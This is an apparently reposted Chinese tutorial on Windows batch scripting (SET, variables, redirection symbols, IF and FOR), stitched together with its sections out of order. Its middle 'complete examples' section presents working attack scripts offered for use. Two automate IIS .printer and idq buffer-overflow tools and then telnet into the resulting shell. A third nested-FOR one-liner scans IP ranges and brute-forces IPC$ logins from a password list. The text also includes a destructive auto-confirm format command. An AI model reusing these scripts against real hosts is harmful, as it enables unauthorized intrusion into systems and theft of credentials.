from the web , tks
[@more@]
SET [variable=[string]]
variable 指定環境變量名稱。
string 指定要指派給變量的一系列字元。
僅鍵入 SET 而不加參數,可以顯示目前的環境變量。
如果指令擴充名被啟用,SET 會如下改變:
可僅用一個變量激活 SET 指令,等号或值不顯示所有字首比對
SET 指令已使用的名稱的所有變量的值。例如:
SET P
會顯示所有以字母 P 打頭的變量
如果在目前環境中找不到該變量名稱, SET 指令将把 ERRORLEVEL
設定成 1。
SET 指令不允許變量名含有等号。
在 SET 指令中添加了兩個新替換:
SET /A expression
SET /P variable=[promptString]
/A 指令選項指定等号右邊的字元串為被評估的數字表達式。該表達式
評估器很簡單并以遞減的優先權順序支援下列操作:
() - 分組
* / % - 算數運算符
+ - - 算數運算符
<< >> - 邏輯移位
- 按位“與”
^ - 按位“異”
| - 按位“或”
= *= /= %= += -= - 指派
&= ^= |= <<= >>=
, - 表達式分隔符
如果您使用任何邏輯或取餘操作符, 您需要将表達式字元串用
引号擴起來。在表達式中的任何非數字字元串鍵作為環境變量
名稱,這些環境變量名稱的值已在使用前轉換成數字。如果指定
了一個環境變量名稱,但未在目前環境中定義,那麼值将被定為
零。這使您可以使用環境變量值做計算而不用鍵入那些 % 符号
來得到它們的值。如果 SET /A 在指令腳本外的指令行執行的,
那麼它顯示該表達式的最後值。該配置設定的操作符在配置設定的操作符
左邊需要一個環境變量名稱。除十六進制有 0x 字首, 八進制
有 0 字首的,數字值為十進位數字。是以, 0x12 與 18 和 022
相同。請注意八進制公式可能很容易搞混: 08 和 09 是無效的數字,
因為 8 和 9 不是有效的八進制位數。
/P 指令選項允許将變量數值設成使用者輸入的一行輸入。讀取輸入
行之前,顯示指定的 promptString。promptString 可以是空的。
環境變量替換已如下增強:
%PATH:str1=str2%
會擴充 PATH 環境變量,用 "str2" 代替擴充結果中的每個 "str1"。
要有效地從擴充結果中删除所有的 "str1","str2" 可以是空的。
"str1" 可以以星号打頭;在這種情況下,"str1" 會從擴充結果的
開始到 str1 剩餘部分第一次出現的地方,都一直保持相配。
也可以為擴充名指定子字元串。
%PATH:~10,5%
會擴充 PATH 環境變量,然後隻使用在擴充結果中從第 11 個(偏
移量 10)字元開始的五個字元。如果沒有指定長度,則采用預設
值,即變量數值的餘數。如果兩個數字(偏移量和長度)都是負數,
使用的數字則是環境變量數值長度加上指定的偏移量或長度。
%PATH:~-10%
會抽取 PATH 變量的最後十個字元。
%PATH:~0,-2%
會抽取 PATH 變量的所有字元,除了最後兩個。
終于添加了延遲環境變量擴充的支援。該支援總是按預設值被
停用,但也可以通過 CMD.EXE 的 /V 指令行指令選項而被啟用/停用。
請參閱 CMD /?
考慮到讀取一行文本時所遇到的目前擴充的限制時,延遲環境
變量擴充是很有用的,而不是執行的時候。以下例子說明直接
變量擴充的問題:
set VAR=before
if "%VAR%" == "before" (
set VAR=after;
if "%VAR%" == "after" @echo If you see this, it worked
)
不會顯示消息,因為在讀到第一個 IF 語句時,BOTH IF 語句中
的 %VAR% 會被代替;原因是: 它包含 IF 的文體,IF 是一個
複合語句。是以,複合語句中的 IF 實際上是在比較 "before" 和
"after",這兩者永遠不會相等。同樣。以下這個例子也不會達到
預期效果:
set LIST=
for %i in (*) do set LIST=%LIST% %i
echo %LIST%
原因是,它不會在目前的目錄中建立一個檔案清單,而隻是将
LIST 變量設成找到的最後一個檔案。這也是因為 %LIST% 在
FOR 語句被讀取時,隻被擴充了一次;而且,那時的 LIST 變量
是空的。是以,我們真正執行的 FOR 循環是:
for %i in (*) do set LIST= %i
這個循環繼續将 LIST 設成找到的最後一個檔案。
延遲環境變量擴充允許您使用一個不同的字元(驚歎号)在執行
時間擴充環境變量。如果延遲的變量擴充被啟用,可以将上面
例子寫成以下所示,以達到預期效果:
set VAR=before
if "%VAR%" == "before" (
set VAR=after
if "!VAR!" == "after" @echo If you see this, it worked
)
set LIST=
for %i in (*) do set LIST=!LIST! %i
echo %LIST%
如果指令擴充名被啟用,有幾個動态環境變量可以被擴充,但
不會出現在 SET 顯示的變量清單中。每次變量數值被擴充時,
這些變量數值都會被動态計算。如果使用者用這些名稱中任何
一個定義變量,那個定義會替代下面描述的動态定義:
%CD% - 擴充到目前目錄字元串。
%DATE% - 用跟 DATE 指令同樣的格式擴充到目前日期。
%TIME% - 用跟 TIME 指令同樣的格式擴充到目前時間。
%RANDOM% - 擴充到 0 和 32767 之間的任意十進制數字。
%ERRORLEVEL% - 擴充到目前 ERRORLEVEL 數值。
%CMDEXTVERSION% - 擴充到目前指令處理器擴充名版本号。
%CMDCMDLINE% - 擴充到調用指令處理器的原始指令行。
第四部分:完整案例
以上就是批處理的一些用法。現在我們把這些用法結合起來詳細的分析一下目前網上釋出的一些批處理,看看他們是怎麼運作的。這裡我将列舉三個例子來詳細分析,為了保持程式的完整我的注釋會加在/*後面。
例一
這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢出的批處理。用到的程式有iis5hack.exe和系統自帶的telnet.exe。iis5hack的指令格式為:
iis5hack
目标版本為0-9這10個數字分别對應不同語言版本和sp的系統版本,我們編制的批處理使用的指令格式為 開始版本号可有可無。程式如下:
@echo off /*關閉指令回顯
if "%1%"=="" goto help /*判斷%1是否為空,%1為目标ip
if "%2%"=="1" goto 1 /*判斷%2是否為1,為1則跳轉标志1
if "%2%"=="2" goto 2 /*%2為開始版本号,如果沒有設定則
if "%2%"=="3" goto 3 /*如果存在則從比對的地方開始執行
if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行标志file段内容
ping %1 -n 1 | find "Received = 1" /*ping目标1次,從結果中發現Received = 1
if errorlevel 1 goto error /*如果傳回代碼為1則執行error段(代碼1為沒有發現 0為發現并成功執行)
iis5hack %1 80 9 88 | find "good" /*開始溢出目标端口80 系統代碼9 溢出後連接配接端口88 /*在執行結果中發現字元串”good”(溢出成功後才會有字元串good)
if not errorlevel 1 goto telnet /*如果沒有錯誤代碼1(溢出成功)就執行telnet段的内容。
echo 作業系統類型 9 失敗! /否則顯示這一句
:8 /*以下代碼内容參照上面
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 8 失敗!
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 7 失敗!
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 6 失敗!
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 5 失敗!
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 4 失敗!
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 3 失敗!
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 2 失敗!
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 1 失敗!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統類型 0 失敗!
goto error
:telnet
telnet %1 88 /*開始連接配接目标ip的88端口
goto exit /*連接配接中斷後跳轉exit段
:error /*error段顯示錯誤後的幫助資訊
echo 可能網絡不能連接配接或者對方已經修補該漏洞!請按照下面的格式手工嘗試一次!
echo iis5hack [目标IP] [WEB端口] [系統類型] [開放端口]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日語: 4
ECHO 日語+sp1: 5
ECHO 韓文: 6
ECHO 韓文+sp1: 7
ECHO 墨西哥語: 8
ECHO 墨西哥語+sp1: 9
goto exit /*跳轉exit段
:file /*file段顯示檔案沒有發現的資訊
echo 檔案iis5hack.exe沒有發現!程式終止運作!
goto exit /*跳轉exit段
:help /*help段顯示本批處理的使用格式幫助
echo 本程式用法如下:
echo iis [目标ip]
echo iis [目标ip] [開始的号碼9-0]
:exit /*exit段為程式出口
這個批處理基本沒有什麼循環隻是一路走下來。是以代碼比較長難度不大!
例二
這個例子是用iisidq.exe對有idq漏洞的機器進行溢出的批處理。使用的程式有iisidq.exe和系統自帶的程式telnet.exe。iisidq.exe的用法如下:
運作參數: 作業系統類型 目的位址 web端口 1 溢出監聽端口
其中,如果輸入指令參數沒有輸入,那麼,預設為:"cmd.exe"。
其中作業系統類型類型的代碼範圍是0-14。我們編制的批處理使用的指令格式為 程式如下:
@echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == "" goto error /*同例一
ping %1 -n 1 | find "Received = 1" /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*建立一個環境變量b,将變量%1的内容傳遞給環境變量b。變量b的内容以後将是目标ip
set a=0 /*建立一個環境變量a并指定環境變量a為0。由于使用整個批處理的循環是以用a來做計數器。
:no /*no段開始
if %a%==0 set d=0 /*如果環境變量a=0則建立環境變量d設定環境變量d=0。
if %a%==1 set d=1 /*環境變量d其實是作業系統類型代碼,用計數器來控制其
if %a%==2 set d=2 /*變動。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*變量傳遞完成後轉到标志0處運作
:1
echo 正在執行第%d%項!與目标%b%不能連接配接!正在嘗試連接配接請等候......
:0 /*标志0開始
IISIDQ %d% %b% 80 1 99 |find "good"
/*按格式發送溢出指令并在結果中發現字元串good(發送代碼成功才會有字元串good)
if errorlevel 1 goto 1 /*如果沒有good字元串則沒有發送成跳
/*轉标志1處繼續嘗試發送
ping 127.0.0.1 -n 8 >nul /*ping自己8次相當于延時8秒不顯示執
/*行結果
echo 正在執行第%d%項! /*報告正在溢出的作業系統類型
telnet %b% 99 /*連接配接溢出端口
echo. /*顯示一個空行
if %d%==14 goto error1 /*如果作業系統類型為14則跳轉error1處(循環出口)
if %d%==13 set a=11 /*開始用計數器對作業系統代碼重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*附值完成跳轉no段執行
:file /*以下都是出錯後的幫助提示
echo IIsidq.exe沒有發現!将該檔案和本檔案放在同一目錄!
goto exit
:error
echo 錯誤!目标ip不可識别!請使用下面的格式連接配接!
echo idq [目标IP]
goto exit
:error1
echo 連接配接沒有成功!可能目标機器已經修補了該漏洞或者網絡故障所至!
echo 請按照下面的格式手工嘗試!
echo iisidq [目标類型] [目标IP] [目标端口] [連接配接方式] [溢出端口]
echo telnet [目标ip] [溢出端口]
:exit /*整個程式的出口
這個批處理采用的整體循環掌握好計數器部分就掌握了這個批處理。
例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in
(1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use
%1.%%a.%%b.%%cipc$ %%e /u:%%f
上面的指令為1條指令。大家可以看出該指令使用了4個FOR來套用的。用法為:C:>TEST.BAT 218
當輸入218回車後該指令會由第1個for取初始值0為%%a然後繼續取第2個for的初始值0為%%b繼續取第3個for的初始值1為%%c最後一個for是将userpass.txt中的第一段字元作為密碼%%e第二段字元作為使用者名%%f最後執行指令(這裡我把上面的值都帶進去,設密碼為123 使用者名為 abc)
net usr 218.0.0.1ipc$ 123 /u:abc
當然上面這個例子可能有些朋友會說太簡單并且太死闆不靈活。修改後的程式可以靈活的查找你指定開始到結束或你指定開始到最大ip的範圍。當然功能還可以在加強,至于能加強到什麼地步能不能成為一個新的工具那就是你的事了。這個的循環動作大了點主要是ip的數字替換麻煩是以沒辦法。這個批處理我就不寫注釋了,大家好好的參考上面的内容你會很快看懂這個批處理的。看懂了得不要說簡單哦!最起碼這是個沒有使用任何第三方工具就能探測并儲存弱密碼的批處理了!!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和xp下測試通過最大的優點就是隻有一個批處理檔案并且絕對不會誤報。缺點就是太長!
第三部分:批處理與變量
在批進行中适當的引用變量将會使你所編制的程式應用面更廣。批處理每次能處理的變量從%0~%9共10個。其中%0預設給批處理的檔案名使用。除非在使用SHIFT指令後%0才能被%1所替代。引用shift指令的例子如果把%1前面多加上一個%0那麼結果如下:
C::>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
系統是如何區分每個變量的呢,系統區分變量的規則為字元串中間的空格,即隻要發現空格就把空格前面的字元當作一個變量而空格後面的字元則作為另一個變量。如果你的變量是一個當中包含空格的長目錄名這時候你需要用上一節特殊符号8中所用的引号将他圈起來。例:
批處理内容為:
ECHO %1
ECHO %2
ECHO %3
輸入指令:
C:>TEST “Program Files” Program Files
Program Files
Program
Files
在一個複雜的批進行中又可能同時使用的變量會超過10個這時候會和系統的規則沖突,那麼這個問題怎麼解決呢?在系統中還有一種變量稱之為環境變量(使用SET指令可以檢視目前系統的環境變量)如目前系統目錄是%windir%或%SystemRoot%等。當同時使用的參數超過10個的時候,我們可以把某些在後面的程式中還要調用的變量儲存為環境變量。具體用法如
SET A=%1 這樣我們就命名了一個新的環境變量A
在調用變量A的時候要%A%這樣調用,環境變量不受SHIFT指令影響。如果要改變一個環境變量需要重新對其設定才能改變。當然也可以進行變量與變量之間的傳遞來達到目的。下面我們來看一個例子,批處理如下:
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1% 變量的傳遞
SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
使用指令:C:>TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K 注意:這一行顯示了11個變量
A B L 在使用了3次SHIFT之後%9變成了L
B L 變量的傳遞後的結果
第二部分:特殊的符号與批處理
在指令行下有些符号是不允許使用的但有些符号卻有着特殊的意義。
1、 符号(@)
@在批進行中的意思是關閉目前行的回顯。我們從上面知道用指令echo off可以關掉整個批處理的指令回顯但卻不能不顯示echo off這個指令。現在我們在這個指令前加上@這樣echo off這一指令就被@關閉了回顯進而達到所有指令均不回顯得要求
2、 符号(>)
>的意思是傳遞并覆寫。他所起的作用是将運作後的回顯結果傳遞到後面的範圍(後面可是檔案也可是預設的系統控制台)例:
檔案1.txt的檔案内容為:1+1
使用指令c:>dir *.txt >1.txt
這時候1.txt的内容如下:
驅動器 C 中的卷沒有标簽。
卷的序列号是 301A-1508
C: 的目錄
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 個檔案 18,630,070 位元組
0 個目錄 1,191,542,784 可用位元組
>将指令執行的結果覆寫了原始的檔案内容。
在傳遞給控制台的時候程式将不會有任何回顯(注意:這裡的回顯跟echo off關掉的回顯不是同一概念。Echo off關掉的是輸入指令的回顯,這裡的回顯是程式執行中或後的回顯)例:
C:>dir *.txt >nul
程式将沒有任何顯示也不會産生任何痕迹。
3、 符号(>>)
符号>>的作用與符号>相似,但他們的差別在于>>是傳遞并在檔案末尾追加>>也可将回顯傳遞給控制台(用法同上)例:
檔案1.txt内同為:1+1
使用指令c:>dir *.txt >>1.txt
這時候1.txt的内容如下:
1+1
驅動器 C 中的卷沒有标簽。
卷的序列号是 301A-1508
C: 的目錄
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 個檔案 18,630,070 位元組
0 個目錄 1,191,542,784 可用位元組
>>将指令執行的結果覆加在了原始的檔案内容後面。
4、 符号(|)
|是一個管道傳輸指令意思是将上一指令執行的結果傳遞給下一指令去處理。例:
C:>dir c:|find "1508"
卷的序列号是 301A-1508
以上指令的意思為查找c:的所有并發現1508字元串。Find的用法請用 find /?自行檢視
在不使用format的自動格式化參數的時候我是這樣來自動格式化盤片的
echo y|format a: /s /q /v:system
用過format指令的人都知道format有一個互動對化過程,要使用者輸入y來确定目前的指令是否被執行。在這個指令前加上echo y并用管道傳輸符|将echo執行的結果y傳遞給format進而達到手工輸入y的目的(這條指令有危害性,測試的時候請謹慎)
5、 符号(^)
^ 是對特殊符号 > 、
c:>echo test ^> 1.txt
test > 1.txt
從上面可以看出并沒有把test寫入檔案1.txt而是将test >1.txt 當字元串顯示了出來。這個符号在遠端建構批處理的時候很有效果。
6、 符号(&)
&符号允許在一行中使用2個以上不同的指令,當第一個指令執行失敗将不影響第2個指令的執行。例:
c:> dir z: &dir y: &dir c:
以上的指令将會連續顯示z: y: c:盤内的内容不理會該盤符是否存在。
7、 符号(&&)
&&符号也是允許在一行中使用2個以上不同的指令,當第一個指令執行失敗後後續的指令将不會再被執行。例:
c:> dir z: &&dir y: &&dir c:
以上的指令将會提示檢查是否存在z:盤如果存在則執行,如果不存在則停止執行所有的後續指令
8、 符号(" ")
" "符号允許在字元串中包含空格。進入一個特殊的目錄可以用如下方法例:
c:>cd “Program Files”
c:>cd progra~1
c:>cd pro*
以上方法都可以進入Program Files目錄
9、 符号(,)
,符号相當于空格。在某些特殊的情況下可以用,來代替空格使用。例:
c:>dir,c:
10、 符号(;)
;符号當指令相同的時候可以将不同的目标用;隔離開來,但執行效果不變。如執行過程中發生錯誤則隻傳回錯誤報告而程式不會繼續執行。例:
DIR C:;D:;E:F:
以上的指令相當于
DIR C:
DIR D:
DIR E:
DIR F:
當然還有些特殊的符号但他們的使用範圍很小我就不再這裡一一的說明了。
1.如果你的目的是設定環境變量,設定hihi變量為一個随機數用: SET HIHI=%RANDOM% 2.如果你的目的是生成一個随機數寫到文本中,用: echo %RANDOM%>C:1.txt 3.如果你想二者都有,用: SET /A HIHI=%RANDOM >C:1.TXT 這時變量和文本中數字一樣。 每執行一次%RANDOM%,便會生成一個随機數。 是以 set HIHI=%RANDOM%&echo %HIHI%>C:1.txt 這條指令的第一個RANDOM生成一個随機數set給HIHI。 第二個%HIHI%又生成了另一個随機數寫到了1.txt中 是以變量HIHI和文本中的随機數是不同的。 第一類 直接指派 SET [variable=[string]] 例子:
@echo off set var=所賦的值 echo %var% pause
說明:set(指令) var(變量名) "所賦的值"就是給變量的值 第二類 SET /P variable=[promptString]
用引用把var變量名用兩個%(百分号)擴起來,如%var%,這種SET文法隻能直接在BAT代碼的提前賦予變量的值,有時候我們需要提供一個互動界面,讓使用者自己輸入變量的值,然後我們在來根據這個值來做相應操作,SET的這種文法,隻需要加一個"/P"參數就可以了。
例子:
@echo off
set /p var=請輸入變量的值:
if %var% == 1 echo 您輸入了 1
pause
說明:set /p 是指令文法 var是變量名 =号右邊的"請輸入變量的值: ",是提示語,不是變量的值,運作後,我們在提示語後面直接輸入1,就會顯示一行您輸入了 1 ,輸入别的就沒有任何反映。
第三類 SET /A expression
環境變量替換已如下增強:
%PATH:str1=str2%
%PATH:~10,5%
%PATH:~-10%
%PATH:~0,-2%
這機種文法有什麼用處呢?現在我們來一個個講解他們
SET /A expression
/A 指令行開關指定等号右邊的字元串為被評估的數字表達式。該表達式評估器很簡單并以遞減的優先權順序支援下列操作:
() - 分組
! ~ - - 一進制運算符
* / % - 算數運算符
+ - - 算數運算符
<< >> - 邏輯移位
& - 按位“與”
^ - 按位“異”
| - 按位“或”
= *= /= %= += -= - 指派
&= ^= |= <<= >>=
, - 表達式分隔符
上面這些是系統幫助裡的内容,解釋一下:
set的/A參數就是讓SET可以支援數學符号進行加減等一些數學運算,
現在開始舉例子介紹這些數學符号的用法:
看例子 這裡的例子請直接在CMD下拷貝指令運作,不需要儲存為BAT!
set /a var=1 + 1
set /a 文法, var變量名 1 + 1 數學式子
拷貝運作後會直接顯示一個2,或者運作完後我們輸入echo %var%,也是二,這就是
一個簡單的加法運算!
set /a var=2 - 1 結果是多少呢?如果你看不到結果就echo %var%.....
set /a var=2 * 2 乘法運算
set /a var=2 / 2 除法運算
set /a var=(1+1) + (1+1) 結果等于4 看得懂吧!
set /a a=1+1,b=2+1,c=3+1 運作後會顯示一個4,但我們用
echo %a% %b% %c%後看結果,會發現其他數學運算也有效果!,這就是","号的
作用!
有時候我們需要直接在原變量進行加減操作就可以用這種文法
set /a var+=1 這樣的文法對應原始文法就是set /a var = %var% + 1
都是一樣的結果,在原變量的值上在進行數學運算,不過這樣寫簡單一點
在來一個:
set /a var*=2
其他都這麼用,隻要幫助裡有這個文法!
另外還有一些用邏輯或取餘操作符,這些符号,按照上面的使用方法會報錯的
比如我們在CMD裡輸入set /a var=1 & 1 "與運算",他并不會顯示為1,而是報錯,
為什麼?對于這樣的"邏輯或取餘操作符",我們需要把他們用雙引号引起來,看例子
set /a var= 1 "&" 1 這樣結果就顯示出來了,其他邏輯或取餘操作符用法
set /a var= 1 "^" 1 異運算
set /a var= 1 "%" 1 取模運算
set /a var= 2 "< set /a var= 4 ">>" 2 這個不太記得數學裡的叫法....
還有幾個數學不太行,搞不清楚了....不列出來了,
這些符号也可以用&= ^= |= <<= >>= 這樣的簡單用法如
set /a var"&=" 1 等于set /a var = %var% "&" 1 注意引号
好符号說到這,現在說%PATH:str1=str2%
這個是替換變量值的内容,看例子
@echo off set a= bbs.verybat.cn echo 替換前的值: "%a%" set var=%a: =% echo 替換後的值: "%var%" pause
對比一下,我們發現他把變量%a%的空格給替換掉了,從這個例子,我們就可以發現%PATH:str1=str2%這個操作就是把變量%PATH%的裡的str1全部用str2替換比如我們把上面的例子改成這樣
@echo off set a=bbs.verybat.cn echo 替換前的值: "%a%" set var=%a:.=傷腦筋% echo 替換後的值: "%var%" pause
解釋set var=%a:.=傷腦筋% set指令 var變量名 字a是要進行字元替換的變量的值,"."為要替換的值,"傷腦筋"為替換後的值!
執行後就會把變量%a%裡面的"."全部替換為"傷腦筋"
這就是set的替換字元的很好的功能! %PATH:~10,5% 這個什麼意思,看例子:
@echo off set a=bbs.verybat.cn set var=%a:~1,2% echo %var% pause
執行後,我們會發現隻顯示了"bs"兩個字母,我們的變量%a%的值不是為bbs.verybat.cn嗎?怎麼隻顯示了第2個字母和第3個字母"bs",分析一結果我們就可以很容易看出: %PATH:~10,5%就是顯示變量PATH裡指定幾位的值!
分析set var=%a:~1,2%
set指令 var變量值 a要進行字元操作的變量 "1"從變量"a"第幾位開始顯示 "2"顯示幾位
和起來就是把變量a的值從第一位開始,把後兩位賦予給變量var
其他兩種文法
%PATH:~-10%
%PATH:~0,-2%
他們也是顯示指定變量指定幾位的值得的意思
%PATH:~-10% 例子
@echo off
set a=bbs.verybat.cn
set var=%a:~-3%
echo %var%
pause
這個就是把變量a倒數3位的值給變量VAR
當然我們也可以改成這樣
@echo off
set a=bbs.verybat.cn
set var=%a:~3%
echo %var%
pause
這個就是把變量a的前3位的值給變量VAR
%PATH:~0,-2% 例子
@echo off
set a=bbs.verybat.cn
set var=%a:~0,-3%
echo %var%
pause
執行後,我們發現顯示的是"bbs.verybat",少了".cn"
從結果分析,很容易分析出,這是把變量a的值從0位開始,
顯示變量a總位數-3的位的值得(我們給變量a的的值bbs.verybat有11位,11-3=8),這樣他就
隻顯示從第0位開始到第8位的值,并賦予給變量var
如果改成這樣
@echo off set a=bbs.verybat.cn set var=%a:~2,-3% echo %var% pause
那麼他就是顯示從第2位開始到第8位的值,并賦予給變量var |
關于批處理的FOR,SET,IF 2008年02月28日 星期四 下午 04:37
批進行中的FOR,SET,IF是批進行中比較難的,下面是本人學這幾個指令時覺得比較好的教程 if 表示将判斷是否符合規定的條件,進而決定執行不同的指令。 有三種格式: 1)、if "參數" == "字元串" 待執行的指令 參數如果等于指定的字元串,則條件成立,運作指令,否則運作下一句。(注意是兩個等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2)、if exist 檔案名 待執行的指令 如果有指定的檔案,則條件成立,運作指令,否則運作下一句。 如if exist config.sys edit config.sys 3)、if errorlevel / if not errorlevel 數字 待執行的指令 如果傳回碼等于指定的數字,則條件成立,運作指令,否則運作下一句。 如if errorlevel 2 goto x2 DOS程式運作時都會傳回一個數字給DOS,稱為錯誤碼errorlevel或稱傳回碼,常見的傳回碼為0、1。 for 指令 for 指令是一個比較複雜的指令,主要用于參數在指定的範圍内循環執行指令。 在批處理檔案中使用 FOR 指令時,指定變量請使用 %%variable for {%variable│%%variable} in (set) do command [ CommandLineOptions] %variable 指定一個單一字母可替換的參數。 (set) 指定一個或一組檔案。可以使用通配符。 command 指定對每個檔案執行的指令。 command-parameters 為特定指令指定參數或指令行開關。 在批處理檔案中使用 FOR 指令時,指定變量請使用 %%variable 而不要用 %variable。變量名稱是區分大小寫的,是以 %i 不同于 %I 如果指令擴充名被啟用,下列額外的 FOR 指令格式會受到支援: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,則指定與目錄名比對,而不與檔案名比對。 FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] 檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用 目前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。 FOR /L %variable IN (start,step,end) DO command [command-parameters] 該集表示以增量形式從開始到結束的一個數字序列。 是以,(1,1,5) 将産生序列 1 2 3 4 5,(5,-1,1) 将産生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command 或者,如果有 usebackq 選項: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command filenameset 為一個或多個檔案名。繼續到 filenameset 中的下一個檔案之前,每份檔案都已被打開、讀 取并經過處理。 處理包括讀取檔案,将其分成一行行的文字,然後将每行解析成零或更多的符号。然後用已找到的符号字元串變量值調用 For 循環。以預設方式,/F 通過每個檔案的每一行中分開的第一個空白符号。跳過空白行。您可通過指定可選 "options" 參數替代預設解析操作。這個帶引号的字元串包括一個或多個指定不同 解析選項的關鍵字。這些關鍵字為: eol=c - 指一個行注釋字元的結尾(就一個) skip=n - 指在檔案開始時忽略的行數。 delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。 tokens=x,y,m-n - 指每行的哪一個符号被傳遞到每個疊代的 for 本身。這會導緻額外變量名稱的 格式為一個範圍。通過 nth 符号指定 m 符号字元串中的最後一個字元星号,那麼額外的變量将在最後一 個符号解析之配置設定并接受行的保留文本。 usebackq - 指定新文法已在下類情況中使用: 在作為指令執行一個後引号的字元串并且引号字元為文字字元串指令并允許在 file-set中使用雙引号擴起 檔案名稱。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 會分析 myfile.txt 中的每一行,忽略以分号打頭的那些行,将每行中的第二個和第三個符号傳遞給 for 程式體;用逗号和/或 空格定界符号。請注意,這個 for 程式體的語句引用 %i 來取得第二個符号,引用 %j 來取得第三個符号,引用 %k來取得第三個符号後的所有剩餘符号。對于帶有空格的檔案名,您需要用 雙引号将檔案名括起來。為了用這種方式來使用雙引号,您還需要使用 usebackq 選項,否則,雙引号會 被了解成是用作定義某個要分析的字元串的。 %i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符号,隻要不試圖說明一個高于字母 'z' 或'Z' 的變量。請記住,FOR 變量是單一字 母、分大小寫和全局的;同時不能有 52 個以上都在使用中。 您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引号将括号之間的 filenameset 括起來。 這樣,該字元串會被當作一個檔案中的一個單一輸入行。 最後,您可以用 FOR /F 指令來分析指令的輸出。方法是,将括号之間的 filenameset 變成一個反括字元 串。該字元串會被當作指令行,傳遞到一個子 CMD.EXE,其輸出會被抓進記憶體,并被當作檔案分析。是以 ,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 會枚舉目前環境中的環境變量名稱。 另外,FOR 變量參照的替換已被增強。您現在可以使用下列選項文法: ~I - 删除任何引号("),擴充 %I %~fI - 将 %I 擴充到一個完全合格的路徑名 %~dI - 僅将 %I 擴充到一個驅動器号 %~pI - 僅将 %I 擴充到一個路徑 %~nI - 僅将 %I 擴充到一個檔案名 %~xI - 僅将 %I 擴充到一個檔案擴充名 %~sI - 擴充的路徑隻含有短名 %~aI - 将 %I 擴充到檔案的檔案屬性 %~tI - 将 %I 擴充到檔案的日期/時間 %~zI - 将 %I 擴充到檔案的大小 %~$PATH:I - 查找列在路徑環境變量的目錄,并将 %I 擴充到找到的第一個完全合格的名稱。如果環境變 量未被定義,或者沒有找到檔案,此組合鍵會擴充空字元串 可以組合修飾符來得到多重結果: %~dpI - 僅将 %I 擴充到一個驅動器号和路徑 %~nxI - 僅将 %I 擴充到一個檔案名和擴充名 %~fsI - 僅将 %I 擴充到一個帶有短名的完整路徑名 %~dp$PATH:i - 查找列在路徑環境變量的目錄,并将 %I 擴充到找到的第一個驅動器号和路徑。 %~ftzaI - 将 %I 擴充到類似輸出線路的 DIR 在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 文法用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名比較易讀,而且避免與不分大小寫的組合鍵混淆。 以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For指令在入侵中的用途。 